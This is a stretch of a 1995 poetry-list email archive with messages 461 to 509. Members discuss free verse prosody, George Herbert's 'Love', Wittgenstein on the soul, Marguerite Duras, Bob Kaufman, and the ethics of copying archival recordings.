> Since, however, there is no free verse foot, and since it is strictly impermissible to alter typography in a genuine confrontation of all the linguistic features of the line, we must accept Zygmunt Czerny's axiom that each line in free verse is "quantitatively independent of the previous one" and Barbara Herrnstein Smith's that the line is "not a constant unit but the acknowledgement of a limit of variability." In fact, the line is the notation of how the poem is to be read.

I wonder if whoever recommended this essay, or anyone else, cares to comment on those statements, especially on the assumption, "there is no free verse foot."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

461. **maria damon**
Re: who is Woody Allen
Thu 20 Jul 1995

---

rachel loden writes:
> Ron,
>
> Hilarious about the strange samizdat bedfellows. Especially
> if (as I assume) the project was commenced in a spirit of
> deep intellectual seriousness...
>
> Woody Allen is Allen Stewart Konigsberg, originally. So--
> Silliman, Konigsberg and Zukofsky--a law firm, perhaps, in a
> Marx Bros. movie? Cyrillic subtitles of course. Uh oh, better
> go back to my corner and be content that I can breathe--
>
> Rachel

yeah, ron, great anecdote, meant to ask you, did your agent or translator or did the journal itself propose in an introduction or some such a "vision" or rationale for grouping the 3 of you together? if so, what was it?

i once had students, in a class in which we were reading yeats, read woody's spoof on the yeats norton headnotes in --is it without feathers? -one student, from Cameroon, didn't understand that the piece was a joke and gave a presentation on it as if it were a serious piece of anecdotal literary biography. and most students didnt even realize it was a spoof on yeats, even though they'd read him in the norton anth. that was the object of satire. anyway, that's minnesota for you --no sense of irony and play.--md

↑ Index

462. **maria damon**

Re: (Fwd) map of Glos. for Loss

Thu 20 Jul 1995

In message loss writes:

```
>                        "  M  A  P  "
>
>                      -- for Tony Green --
>                                                    X -
>                                            this isn't  X -
>                                            "rustic"?  X - -
>                                             per bk?  X - -
>                                                  W - -
>                          --------System-------Gloucester o A - - -
>                          |                          T - - -
>                          |                   Boston o E - -
>                          |                          R - -
>                          |                         X - - -
> - W     Engagement------Absemce--                          X - - -
> -  A                                            X - - -
> -   T   o Buffalo     o what town is                     X - -
> -  E                 this Warsaw - ?                     X -
> - R                                     but t h e r e i s  X -
```

_____ MEGACOOL! can i bring this in to my summer poetry class, loss? also, here's a proposal for community on the list (yes, the sad truth is, i'm a die-hard addict by now --i gotta getta life!!): have local gatherings (mpls, buff, sfu, etc) of list people --i'm assuming this might already be happening in places where there's more of a scene than here. and then maybe how about a yearly list festival in some central place, buffalo perhaps, or vancouver, where we all get to see what each other look like and sound like in the embodied flesh? or is that too corny?--md

ps soon to follow, what i did on my summer vacation, or, my 2 wks at naropa institute. stay suspendered, folks, i didn't get down with allen ginsberg.--md

↑ Index

463. **Herb Levy**

(oral) history teaches what history teaches

Thu 20 Jul 1995

> *herb levy writes*
> *...*
> *a friend who likes Bob Kaufman's work a lot (& who, for a jazz oral history*

> *project ended up interviewing, and pissing off, Bumps Blackwell's widow).*
>
> *Bests,*
>
> *H.*
>
> *do tell, if you're at liberty. how'd s/he piss Mrs Blackwell off? i talked to marlene blackwell once on the phone and she was quite gracious, more so than another one of BK's sisters who regarded me with suspicion.--md*

I don't see any harm in telling what I know of the story, but I don't have any juicy details and I doubt there really are any.

A Seattle writer, Paul de Barros (another one of those Seattle writers whose creative work is published more in Canada than in the States) produced an oral history of the Jazz scene in the Seattle area through the mid-Sixties. (Jackson Street After Hours, published in 1994, by Sasquatch Press.)

Blackwell was a band leader in the area from some time in the forties on. He later was a record producer and/or manager for various R&B performers. Based on his research, de Barros made him less central to the Seattle jazz scene in the completed book than his widow thought was appropriate.

It was only later that he found out that Blackwell's widow was one of Bob Kaufman's sisters, but by then he knew from their previous communications that he'd be unwelcome if he tried to explore the issue with her.

That's it, sorry it's so dull.

Herb Levy
[redacted]

↑ Index

464. Marisa A Januzzi
Madge Herron (fwd)
Thu 20 Jul 1995

(I'm forwarding this message through Marisa because my local listserv has changed my address--just in case anyone starts wondering whether Marisa and I are part of a new extraterrestrial entity...)

Does anybody on the list know if madge herron is still writing? Just saw one of her poems in a wonderful collection--Love Poems by Women. I used to know her in London when I was doing a market stall in Camden Town--very very long ago in my youthly youth. Liked her a lot. She once told me she felt as though her face was hanging from her eyebrows.

Gabrielle

↑ Index

465. **Jerry Rothenberg**
Re: Archives (fwd)
Thu 20 Jul 1995

The Mina Loy interview I know of was taped by Paul Blackburn & someone else (maybe Creeley, maybe Vas Dias) in Aspen. There's a copy in the Blackburn Collection at the Archive for New Poetry in UCSD's Central Library, and I'm pretty sure they'd be willing to dub. The collection curator is Brad Westbrook & the library (Special Collections) number is [redacted].

I haven't heard it in years, but I remember it starts with a discussion of her false teeth -- a condition she had from childhood.

Good hunting.

Jerome Rothenberg

↑ Index

466. **Burt Kimmelman**
Re: POETICS Digest - 17 Jul 1995 to 18 Jul 1995
Thu 20 Jul 1995

Marjorie:

Herbert writes:
You shall be he.

the poem then continues:

I the unkind, ungrateful -
Ah my dear, I cannot look on thee.
Love took my hand and smiling did reply,
Who made the eyes but I?
Truth lord, but I have marred them,
Let my shame go where it doth deserve.
And know you not, says Love, who bore the blame?
- My dear, then I will serve.
You must sit down, says Love, and taste my meat.
So I did sit and eat.

(written from memory so I hope it's right).

Now:

You are suggesting that the carnal acts of sitting and eating will lead to the knowing of Christ, Love or whatever?

Also: Has anyone ever written about what to my late 20th-century American mind seems to be the sexual overtones (homosexual at that) of the last lines?

Burt

↑ Index

467. **maria damon**
Re: free verse foot
Thu 20 Jul 1995

---

tom kirby smith writes:
>
>
> I wonder if whoever recommended this essay, or anyone else, cares to
> comment on those statements, especially on the assumption, "there is
> no free verse foot."

i still can't accept the fact that there's no free lunch (having an academic position is the closest i've been able to come); somehow this other matter seems easier or less traumatic for me to take in.--md

↑ Index

468. **Burt Kimmelman**
wit and sould
Thu 20 Jul 1995

Gabrielle (and all):

Did Wittgenstein ever use the word "soul"? Somehow I can't imagine that. Am I wrong?

Burt

↑ Index

469. **Burt Kimmelman**
Re: Soul/body
Thu 20 Jul 1995

Cris,

How about, to use contemporary language, we try to talk about the self by acknowledging the truth of (forgive the jargon:) "subject-positionality" yet by going beyond that ideo-linguistic node?

Burt

↑ Index

470. cris cheek
The Recording Angel
Thu 20 Jul 1995

Mixed feelings re - copying for my own work. Basically for out-of-print books and recordings of readings I'd encourage a proliferation of pirating. Ye Olde Total Anti-Copyrighte Brigade. Would prefer drediting (it's a lovely typo but I mean crediting before anyone gets a Judge joke edgeways) but am also keen on anonymity and alias use. Guess if appropriation for wanton profit was involved I'd like to be consulted.

Main bug is not so much the question of money as the question of abuse of intention through manipulation of context.

Anyone read the post on Technocult - I'm curious about the implications of their idea that a 'culture' could be copyrighted?

It harks back to an antique discussion but I'm of the opinion that work produced in a format for which it was not composed is tantamount to a translation. Hot example would be what happened to J.H. Prynne's wonderful separate books in the mish-mash of the Allardyce Barnett collection. An unappealling travesty of presentation. And maybe Herb this is part of the discussion re - copying too. There's some curious and subtle demaractions operating here and I thank you all for raising them.

love and love
cris

↑ Index

471. Marisa A Januzzi
Re: Soul/body
Thu 20 Jul 1995

Chris:
can the line between art and life be thinned grammatically?? (thanks for the demo)

Brian: thanks for the Gaspara Stampa post-- I'm off to find the 200 sonnets, if extant. Anyone female and Venetian who waits til 26 to hook up (in whatever century) is going to be interesting.

Anyone interested in the Loy tape: Yes, it's at UCSD-- interviewers are Blackburn and Vas Dias, sound quality only so-so. I made a transcript of it-- 30+ pages-- and was talking with Carolyn Burke about possibly publishing some of it somewhere. Any ideas? If anyone wants the transcript, just send me

postage (sorry to be so cheap, but right now it's the only way I can get anything to anyone short of handing it off)

Juliana (sorry to go listwide):
please send address: I want to answer your post, for which, thanks!

--Marisa (aka Gabrielle, channel 3)

↑ Index

472. **Herb Levy**
Re: who is Woody Allen
Thu 20 Jul 1995

"Is It Without Feathers?" is the full title of the mauscript Allen Konigsberg submitted to the Yale Younger Poets series before he found his true calling writing jokes for the Tonight Show.

Herb Levy
[redacted]

↑ Index

473. **eric pape**
Re: SoUl
Thu 20 Jul 1995

Been gone most of the summer, but came back to find this latest interesting discussion on the "soul." I'm wondering if "soul" is exactly what we do not have at this point. The main thing that cont. conditions make impossible. "The cry of the soul in a soulless world (sic)," doesn't mean that there is not a soul out there, in here, but that it is irrelevant. Might as well have a dodo residing in your abdomen.

But if we do not have a "soul" neither do we have a "body."

↑ Index

474. **nada**
nyc visit
Thu 20 Jul 1995

I and my friend Masaya Saito will be visiting NYC from Tokyo from August 10 to 20. Any tips on good events, connections, sites, and festivities would be much appreciated.

YOROSHIKU NE

Nada
([redacted]) departure to US on July 23 Japan time.

↑ Index

475. **eric pape**
Re: Soul Train
Thu 20 Jul 1995

Cool! My hometown made news! Which Globe and Mail? AV demonstrates what happens when your city councils are dominated by real estate agents. Most of whom from LA, called in some circles the Evil Empire.

Thanks, Eric.

↑ Index

476. **Ryan Knighton**
Duras
Thu 20 Jul 1995

Does anyone know anything about Marguerite Duras? I just finished two novellas by her and an interview. What I'm curous abt is Alberto Manguel's observation that she is viewed as a "best-seller" by the French "intelligentsia". And, secondly, her relationship to Coach House Press and its ilk. Fine writer, I thought, with fine language. Thanks.

↑ Index

477. **Tom Taylor**
Re: V GER/The Vision Project
Thu 20 Jul 1995

V GER/The Vision Project
you tell me yours and I'll tell you mine
Looking toward the Millennium, contemporary poetics of passage
All forms, 2/b electronic, an open file report
updated, organic, alive
Submit to Thomas Lowe Taylor, Oysterville WA 98641-0216
or to [redacted]
Long-term project: permanent, slow, varied, graphics to be added
as I learn. Put yourself out, not "same stuff, different day."

WE ARE IN CONTROL

↑ Index

478. Tom Taylor
V GER/The Vision Project
Thu 20 Jul 1995

V GER/The Vision Project
You tell me yours and I'll tell you mine.
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WE ARE IN CONTROL

↑ Index

479. maria damon
Re: POETICS Digest - 17 Jul 1995 to 18 Jul 1995
Thu 20 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Marjorie:
>
> Herbert writes:
> You shall be he.
>
> the poem then continues:
>
> I the unkind, ungrateful -
> Ah my dear, I cannot look on thee.
> Love took my hand and smiling did reply,
> Who made the eyes but I?
> Truth lord, but I have marred them,
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> And know you not, says Love, who bore the blame?
> - My dear, then I will serve.
> You must sit down, says Love, and taste my meat.
> So I did sit and eat.
>
>
> (written from memory so I hope it's right).
>

> Now:
>
> You are suggesting that the carnal acts of sitting and eating will lead
> to the knowing of Christ, Love or whatever?
>
> Also: Has anyone ever written about what to my late 20th-century American
> mind seems to be the sexual overtones (homosexual at that) of the last lines?
>
>
> Burt

sexual it is, but the person to whom this stanza meant everything is the anti-sexual, fatally anorexic Simone Weil. it was her favorite piece of literature. talk about body/soul dichotomies.--md

↑ Index

480. **maria damon**

Re: (oral) history teaches what history teaches

Thu 20 Jul 1995

---

herb levy writes:
>
> I don't see any harm in telling what I know of the story, but I don't have
> any juicy details and I doubt there really are any.
>
> A Seattle writer, Paul de Barros (another one of those Seattle writers
> whose creative work is published more in Canada than in the States)
> produced an oral history of the Jazz scene in the Seattle area through the
> mid-Sixties. (Jackson Street After Hours, published in 1994, by Sasquatch
> Press.)
>
> Blackwell was a band leader in the area from some time in the forties on.
> He later was a record producer and/or manager for various R&B performers.
> Based on his research, de Barros made him less central to the Seattle jazz
> scene in the completed book than his widow thought was appropriate.
>
> It was only later that he found out that Blackwell's widow was one of Bob
> Kaufman's sisters, but by then he knew from their previous communications
> that he'd be unwelcome if he tried to explore the issue with her.
>
> That's it, sorry it's so dull.
>
>

> Herb Levy
> [redacted]

not dull at all, to me, a kaufmaniac. thanks. i'll try to hunt down that jazz book. it's interesting to peel back the myth that kaufman somehow came out of nowhere into autodidactic literacy --his family is a very well-respected and well-connected part of the new orleans Black bourgeoisie, as his sisters' subsequent careers indicate.--md

↑ Index

481. **Aldon L. Nielsen**
Re: Recording the Devil in the Details
Thu 20 Jul 1995

Maybe everybody just reads too quickly on this line. My post said that any tape I offer to dub for someone is either in the public domain or was made by me with the author's permission. I never said or suggested that the LPs of the Arrivants had passed into the public domain. That should leave one clear option, no?

If, by the way, anyone is willing to pay big bucks, or get their University library to do so, the Library of Congress can dub you a tape of Brathwaite's quite lengthy reading there, introduced by Anthony Hecht (?!?!?@@#), which is where I first met EKB.

For the jazz fans -- Pacifica Archive has a 58 minoute tape of a parking lot interview with John Coltrane, just about a year before Coltrane's death. It goes for $10.00 and is known to the Archive as A3-BC1266 -- You can order from Pacifica Radio Archive -- P.O. Box 8092 - Dept. K - Universal City, CA - 91608-0092. $3.80 shipping charge. (It goes down as you order more cassettes, so you might ask fro their current list of titles, which is not there entire list of titles).

Ron, thanks for the tips. It will take me some time to find out if Pacifica has any of that, as there filing system is more than usually inconsistent. By the way, I need your PA address so I can send you _lls_ ; I was offline when you provided it before - backchan. if you don't want to broadcast it to the world.

for, their, etc. correct above as needed --

Yesterday, Marjorie told me of a review of the Hoover PostMod anthology in the current New Criterion by John Haines,,,, a more than usually amusing bit of stupidity -- His question is, since Post Mod means anybody after Modernism, where"s Anne Sexton, James Wright, etc. -- but, of course, he does not ask where certain other poets born subsequent to modeernism (_and_ modernism_) might have been left off-- Following this logic, we might well ask why Edwin

Markham has been so consistenly absent from anthologies of Modernism, despite his clearly having been alive during the Modernist period (actually, you'd be surprised at some of the Modernists who _did_ read Markham).

But then, I expect any day now to hear a ganster rap version of Markham's "The Man with the Hoe." what goes around, etc . . .

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482. **Tom Taylor**
Re: SoUl
Thu 20 Jul 1995

Huh?

↑ Index

483. **cris cheek**
Souled Out Soul/Body
Thu 20 Jul 1995

We'ave all been hyphenated far too long - there's a crunch coming.

love and love
cris

↑ Index

484. **Brian W Horihan**
Re: Duras
Thu 20 Jul 1995

---

probably one of the reasons she's a "best-seller" is that she's also a filmmaker, and many of her films are versions of her plays and novels, which always makes the latter sell. I'm thinking of that movie THE LOVER that she didnt direct but which was based on her book of same name. after that a new edition of the book came out w/ a gross glossy picture from the movie on its cover. (also she wrote the script to the wonderful Resnais film HIROSHIMA MON AMOUR that i'm going to watch right now.)--brian

↑ Index

485. **Chris Stroffolino**
Re: Recording the Devil in the Details
Thu 20 Jul 1995

Dear Aldon (etc.) Or rephrase this--- Aldon said there was a review by John Haines of the Hoover anthology-- John Haines the Alaskan "nature"

poet??? Someone told me a year ago he had a poem called "Hotel Laundry Mat" published somewhere as a parody of Ashbery---does anybody know anything about this, or where i could find it---I'm curious about it--or know any other good parodies (aside from, say, John Yau and Michael Gizzi's UNDERWEAR AT REST)...this does not mean I'm a "fan" of Haines btw... cs.

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486. **Tony Green**
Re: free verse foot
Thu 20 Jul 1995

tho the poem may be "read" in lines, reading across them, i.e. enjambment is nevertheless still a [necessary] option and breathing can plainly happen in mid-line, as in the Olson piece from Maximus I quoted for Loss Glazier going to Gloucester. I think it is more important at all times to hear a beat going against which the verses are spoken, so that the ground/constant (heart, according to Pound) can be felt, while all manner of running over and syncopation takes place, because of the irregular way that spoken language is sounded. The worst assumption would be that the stresses in the verse (where they are found to be strong weak and indeterminate as in most prosodic divisions) must be regularised and MUST correspond to "the beat".

↑ Index

487. **Steve Carll**
Re: Filet O Soul
Fri 21 Jul 1995

> *I would have thought that this list would have no patience with the word "soul" if only because it occupies 50% of the ever-so-romantic Helen Vendler's new book title, *Soul Says* (which title is taken from a poem of Jorie Graham's).*

No, I'm not gonna put the blame on the word. It's Helen Vendler I'd have no patience for. Except I'm not familiar with her.

I'm with Reginald on this (though I can certainly understand Rod's feelings on the subject): really, if we're gonna talk about this, we're going to have to be more careful to listen to each other with an ear toward trying to understand what is meant when one person uses the word as opposed to another, because there are very fine lines and subtleties involved rather than one monolithic "meaning" that has to be accepted or rejected. Otherwise we could just have a polemics-fest based on reductive readings of each other's posts, which won't be useful to any of us.

Steve

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488. Shaunanne Tangney
Re: Duras
Fri 21 Jul 1995

On Thu, 20 Jul 1995, Brian W Horihan wrote:

> *probably one of the reasons she's a "best-seller" is that she's also a filmmaker, and many of her films are versions of her plays and novels, which always makes the latter sell. I'm thinking of that movie THE LOVER that she didnt direct but which was based on her book of same name.*
> *after that a new edition of the book came out w/ a gross glossy picture from the movie on its cover. (also she wrote the script to the wonderful Resnais film HIROSHIMA MON AMOUR that i'm going to watch right now.)--brian*

Brian-- Do you own a copy of Hiroshima Mon Amour? I have the text/script--but NEED a copy of the film, and my local video--big surprise!--has never even heard of it! If I sent you a tape, do you have the possibility of taping it for me?

Thanks!
ShaunAnne
[redacted]

↑ Index

489. Rod Smith
Re: wit and sould
Fri 21 Jul 1995

following that-- is there a Wittgenstein concordance? -- damn I cld write some poems w/ that!

Burk K wrote:
>Did Wittgenstein ever use the word "soul"? Somehow I can't imagine that.
>Am I wrong?

↑ Index

490. Wystan Curnow
Re: the one-two writing/teaching
Fri 21 Jul 1995

Dear Herb, The subject seems to have run its course, but here's an addendum. .Yep, students should write poetic essays in their courses. That's what I say. Poetic means having one. My doubts, the problem, is with the institutional norm, the expository essay--what is it good for? Absolutely nothing.

Say it again. Isn't contemporary poetics shaped by resistance to the poetics of everyday essay assignments among other language products? Aren't they, isn't it? Wystan

↑ Index

491. Marjorie Perloff

Re: POETICS Digest - 19 Jul 1995 to 20 Jul 1995

Fri 21 Jul 1995

The John Haines review (I didn't even know he was a poet) is truly astonishing, even for New Criterion. Ashbery is dismissed as "gibberish," Olson as "nonsense" and "posturing" and so on, down the line. And he sounds so self-confident.

Maria: "Love" in Herbert's Love, clearly Christ, no? Love is the gentle and polite host, who 'forgives" the sinning guest and offers him the Eucharist--"you must sit down, said Love, and taste my meat. / So I did sit and eat." Conversion parable. If you want to see it as sexual, well sure, communion can always be interpreted that way but I think it's slightly far fetched. (it seems to me we've had this conversation...)

Tom: how can there be a free-verse foot? By definition, free verse means you're not counting stresses or syllables so what is a free-verse foot?

xxx
Marjorie

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492. Rod Smith

Re: (oral) history teaches what history teaches

Fri 21 Jul 1995

---

md-
being a kaufmaniac you may already know or be involved but in case not I thought I'd tell you there's a selected B.K. coming soon from Coffee House I believe-- cld get more exact details if you want'em.
--Rod

↑ Index

493. **Ryan Knighton**
furnished
Fri 21 Jul 1995

Hey, I'm moving soon and was thinking abt my stuff and how I will arrange it and wondered if anyone in here has ever tried aleatoric furnishing.

↑ Index

494. **Charles Alexander**
Herbert & Communion
Fri 21 Jul 1995

Burt, I remember reading Herbert as a grad student, and there was ample discussion of ecstatic communion with Christ being presented as a sexual communion. I wouldn't even call it "sexual overtones" as you suggest. I think it's pretty obvious in the poem you quote and others. And it seems there is a fairly wide literature about religion as sexual ecstasy, and I'm certain there have been commentaries on Herbert taking this issue on. Seems to me that when the object of desire is Christ, the sexual communion is bound to have homosexual overtones. I'm sorry I'm not a student in the field and can't give you citations, but I'm sure someone on this list can.

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

495. **Charles Alexander**
coffee brewing
Fri 21 Jul 1995

Rod Smith writes:
"md-
being a kaufmaniac you may already know or be involved but in case not I thought I'd tell you there's a selected B.K. coming soon from Coffee House I believe-- cld get more exact details if you want'em.
--Rod"

Coffee House is also publishing, next year I believe, a collected writings of Paul Metcalf, which may be two big volumes or four smaller ones, not necessarily all issued simultaneously. That & the Kaufman sound good, but overall, there's a press I can't quite figure -- but then I tend to like surprises.

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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496. **Michael Boughn**
Re: wit and sould
Fri 21 Jul 1995

> *Did Wittgenstein ever use the word "soul"? Somehow I can't imagine that. Am I wrong?*
>
> *Burt*

This is not news, as others have circled the same point, but I think W's response would be to ask what the word means in the specific language games in which it is used.

I think his impatience with metaphysics extended to skepticism as well, in so far as skepticism is a kind of negative metaphysics.

What do you mean by "wrong"?

Best,
Mike

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497. **Pierre Joris**
Re: Duras
Fri 21 Jul 1995

Early Duras is excellent, especially the novels _Un barrage contre le Pacifique_, Le ravissement de Lol. V. Stein_ & _Le marin de Gibraltar._ Early success was indeed due to the par_Moderato Cantabile_ & _Detruire dit-elle_. The big fame came of course with _The LOvers_, the book, which was a major bestseller, but not the movie. There is a selected Duras out in English, called _Outside_ (Beacon Press, 1986)Her fame, at least in France, is also connected with her antics as war-time friend of Francois Mitterand, & with her phenomenal bouts with alcolism. (cf. the book one of her companions, Yann Andrea, wrote on her drying out, under the title _M.D._) What I prefer of her writing -- besides the early novels -- are smaller texts, before all _The Malady of Death_ (translated by Barbara Bray, Grove Press 1986). A good entrance into that text

& in to her work in general is the second part of Maurice Blanchot's _The Unavowable Community_ (Station Hill Press, 1988, translated by your humble servant).

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

↑ Index

498. **Pierre Joris**

Re: (oral) history teaches what history teaches

Fri 21 Jul 1995

Rod,
here's another kaufmaniac. do keep us informed about that selected --
great news to hear it's coming.
Pierre

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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499. **Michael Boughn**

Re: free verse foot

Fri 21 Jul 1995

> *I wonder if whoever recommended this essay, or anyone else, cares to comment on those statements, especially on the assumption, "there is no free verse foot."*

I guess it depends on what you mean by "foot" and by "free verse". The combination of these two terms here suggests to me a response to tradtional verse forms in which the length of the line is determined by the accretion of a

regular number of syllabic units and stresses. In this particular case, Wesling seems to want to leave the word there in that traditional significance, so that he can use it to make specific distinctions with irregular verse forms.

I don't think there's any reason you have to, though. Prosody ain't metaphysics, though they tend to treat it like that over on the CAP-L list. If you follow W.C. Williams' thinking (and though I know some others don't treat it as actual thinking--notably the Wintersian rearguard--I do) then the "foot" gets kicked into the 20th century, where, along with all other forms of measurement, it becomes variable, in which case it can be applied meaningfully to irregular verse forms. In Williams' case he uses it as equivalent to his line. But you don't have to leave it there, either.

I mean it comes to us from the Greeks who used it as a measure of duration. The English changed it into a measure of stress (first known use listed in the OED dated at 1050). Williams tried to push it toward a measure of the fundamental rhythmic units which constitute the founding sense of colloquial speech. Good luck trying to fix it somewhere.

Best,
Mike
[redacted]

"A foot is to kick with"
--Charles Olson

↑ Index

500. **Michael Boughn**
Re: hits of Pam
Fri 21 Jul 1995

> *So is that why we have texts (even though we write the same poems over and over)? Or, how do we read Olson (who pretty much transliterates Whitehead and the historical society into verse) in a Wittgenstein-flooded world? Or, can you read Olson without turning off your hearing aid? Is that what the excellent Creeley-edited selected Olson is for, to move Olson across the divide?*

Jordan:

Please excuse my density (too many folds this A.M.?). I'd like to follow you here, but I'm a bit unclear what you mean by "Wittgenstein-flooded world", and also by "the divide" whcih is obviously related to it here. Can you unfold this a bit?

Best,
Mike
[redacted]

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501. **Loss Glazier**
Re: wit and sould - Rod
Fri 21 Jul 1995

> *following that-- is there a Wittgenstein concordance? -- damn I cld write some poems w/ that!*

Rod, Here it is (in German):

Concordance to Wittgenstein's Philosophische
Untersuchungen, compiled by Hans Kaal and Alastair McKinnon.
Leiden : E. J. Brill, 1975.

Loss

↑ Index

502. **Hank Lazer**
Re: anthologies
Fri 21 Jul 1995

Marjorie et al--

Yes, Haines is a poet. Quite popular in the 60s & 70s. A hybrid of Snyder's eco-concerns and the deep image scene (of the Bly, Merwin version). Books published by Wesleyan; also, lots of poems by Haines in George Hitchcock's _kayak_ magazine (_kayak_ also published at least one book by Haines, about the same time they also published one of Charles Simic's first books).

My essay/review on anthologies--Hoover, Messerli, & Lauter's Heath anthology of American Lit--is in the current issue of _Contemporary Literature_. My piece begins with a note thanking the Poetics Group for the discussion of anthologies held last year about this time.

Hank Lazer

P.S. I'll be in Boston/Cambridge July 25-30. Any suggestions from those on the list of things not to miss, places to go, etc.?

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503. **Jim Pangborn**
Re: wit and sould
Fri 21 Jul 1995

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422. What am I believing in when I believe that men have souls? What am I believing in, when I believe that this substance contains two carbon rings? In both cases there is a picture in the foreground, but the

sense lies far in the background; that is, the application of the picture is not easy to survey.

--Wittgenstein, _Philosophical Investigations I_

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504. **maria damon**
Re: POETICS Digest - 19 Jul 1995 to 20 Jul 1995
Fri 21 Jul 1995

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marjorie perloff writes:
>
> Maria: "Love" in Herbert's Love, clearly Christ, no? Love is the gentle
> and polite host, who 'forgives" the sinning guest and offers him the
> Eucharist--"you must sit down, said Love, and taste my meat. / So I did
> sit and eat." Conversion parable. If you want to see it as sexual, well
> sure, communion can always be interpreted that way but I think it's
> slightly far fetched. (it seems to me we've had this conversation...)
>
> xxx
> Marjorie

Marjorie: this is a fine point, but it was someone else who asked about the (homoerotic) sexual overtones of the poem. i was the one who responded by saying it was Simone Weil's favorite piece of lit. But, that said, i do think there's validity to the now-forgotten-who-it-was person's question. Yes, we have had this conversation re Stein; i think things are sexual, you think that's possible but far-fetched. that conversation led to my favorite chapter in my book, for which thanks, also thanks for lunch at MLA, I learned later (from Peter Q or Bob P or Al F) that you were my benefactress.xxx--maria

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505. **maria damon**
Re: (oral) history teaches what history teaches
Fri 21 Jul 1995

In message <[redacted]> UB Poetics discussion group writes:
> md-
> being a kaufmaniac you may already know or be involved but in case not I
> thought I'd tell you there's a selected B.K. coming soon from Coffee House I
> believe-- cld get more exact details if you want'em.
> --Rod

hiya rod, yes, david henderson and i wrote essays for it. i only henderson's advertized in the catalogue tho. so i'm not sure what the scoop is. mine was a rewrite of the kaufman chapter in dark end of the street. the book is the entirety of golden sardine, which is, incredibly, out of print, a few selected from his new directions books, and a handful of previously uncollected poems. yeah, i'm gonna snatch it up when it appears.--md

↑ Index

506. **maria damon**

Re: Duras

Fri 21 Jul 1995

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pierre writes:
> What I prefer of her writing -- besides the early novels -- are
> smaller texts, before all _The Malady of Death_ (translated by Barbara
> Bray, Grove Press 1986). ...

i've found this a great text to teach, esp in connection with the master/slave dialectic... wasn't it dictated, rather than written, because she was too out of it (alcoholically) to hold a pen? amazing, that it shd come out of an alcoholic "stupor"--md

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507. **A. Morris**

Re: The Recording Angel

Fri 21 Jul 1995

I feel like one of those students in a class who leans forward listening all semester but doesn't say anything for so long it becomes almost physically impossible to force her voice out into the air. Here I am, though, delurking to enter the recording angel stream. It was me, way back, who offered--wrongly--to dub a tape which may still be available commercially and which therefore may still be providing the poet and the folks who taped him and made his sounds available some much deserved revenue. I apologize.

I appreciate the postings by Herb Levy, Jonathan Brannen, Aldon Nielson, and others. My offer to dub the tape came not from greed or wilful criminality (she said defensively & no doubt unnecessarily) but from haste and thoughtlessness. It also came, I know, from a long history of teaching and writing about and wanting to read and listen to writers whose work has been/is out of print and unavailable through commercial channels. Whenever I can, I order in-print books for my classes--of course--but I have also (are the feds listening here? I'll confess anyway) xeroxed bits on Stein from The Language Book without writing away and paying a fee (or more accurately passing on to my students a fee) for

them, passed around a frayed xerox of The Bedouin Hornbook, and copied an H.D. text published only in an out-of-sight expensive ($375) art-book format. For this reason, I'm deeply grateful to Doug Messerli for the Sun & Moon anthology which makes so many hard-to-find poems available and for Sun & Moon's intent to bring Mackey's Hornbook into print, and for all the other small presses and journals which keep this work circulating.

As teacher and critic, I feel an important aspect of my role is as disseminator: to unblock access, to open things up, to scatter widely. Although xeroxing an out-of-print poem may not profit in the writer or publisher in the short term, it has long term effects crucial for all of us: it generates readers/listeners/buyers/thinkers for books, recordings, anthologies, journals, and performances, etc. My bottom line, I guess, is the more people who think about this stuff, the better.

Thanks to Herb Levy and the rest of the commenters in this stream, I see I need to be more alert and careful in this dissemination, however--. I remain . . .

Chastened in Iowa,

Dee Morris

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508. **maria damon**
Re: anthologies
Fri 21 Jul 1995

---

hank l. writes
>
> My essay/review on anthologies--Hoover, Messerli, & Lauter's Heath
> anthology of American Lit--is in the current issue of _Contemporary
> Literature_. My piece begins with a note thanking the Poetics Group
> for the discussion of anthologies held last year about this time.
>
> Hank Lazer
>
> P.S. I'll be in Boston/Cambridge July 25-30. Any suggestions from
> those on the list of things not to miss, places to go, etc.?

you must go to grolier's, on plympton st. in harvard square. legendary poetry book store with cool lady and dog. greet the dog as jessica pumpkin (or the less formal "jessie p") and the lady will be nice to you. also the busch-reisinger museum in harvard square and the gardner museum in boston. both very lovely, small museums (i hate big ones). my dad used to work at the peabody

museum on "divinity" ave in cambridge, in the antrho dept, and they had some cool mummies on the top floor. but i think they were removed cuz they were drawing "inappropriate" interest. that museum has a collection of glass flowers made by some french brothers, which are supposed to be extraordinary, but i;ve blocked them from my memory because of the innumerable times i was dragged to see them in tow with my parents and their visitors from out of town. the cafe algiers, in the brattle street building, is a long loved place of mine, though it used to be funkier, underground, full of chess-playing pretensious wanna be writers ("joyce is the only other writer as dedicated wordplay and etymologies," one said to me once when i was about 17. other than whom, i asked. well, me, he replied), and plo supporters. now it's more ordinary, but still a point of nostalgia for me.

as for anthologies, i wasn't on the list at the time of the discussion, but i'm spozed to give a talk at mla on that subject. anyone care to recap the major aspects of the discussion? or, how cn i get hold of the "transcripts" thereof?--md

↑ Index

509. H. T. KIRBY-SMITH
free verse foot
Fri 21 Jul 1995

Didn't mean to post my first message twice; I had received some sort of electronic rejection message the first time I sent it, a day before, and thought it never went through.

I am still hoping for more opinions on whether or not there is such a thing as a free verse foot. I myself lean towards the syncopation idea, with Pound's "The Return" as the pre-eminent example. As I state it, this view may seem Jesuitical to many on this list, but I think that it made a great deal of difference that Williams and cummings started out, as adolescents, imitating Keats; that Pound's proclamation, "no Tennysonianess," was based on a good acquaintance with what he rejected; that even Ginsberg tried to write like Allen Tate to start with; that Denise Levertov grew up immersed in English accentual-syllabics; that way on back H. D. and Amy Lowell felt even more constrained and oppressed by the poetic heritage than did T. E. Hulme and Ford Madox Ford.

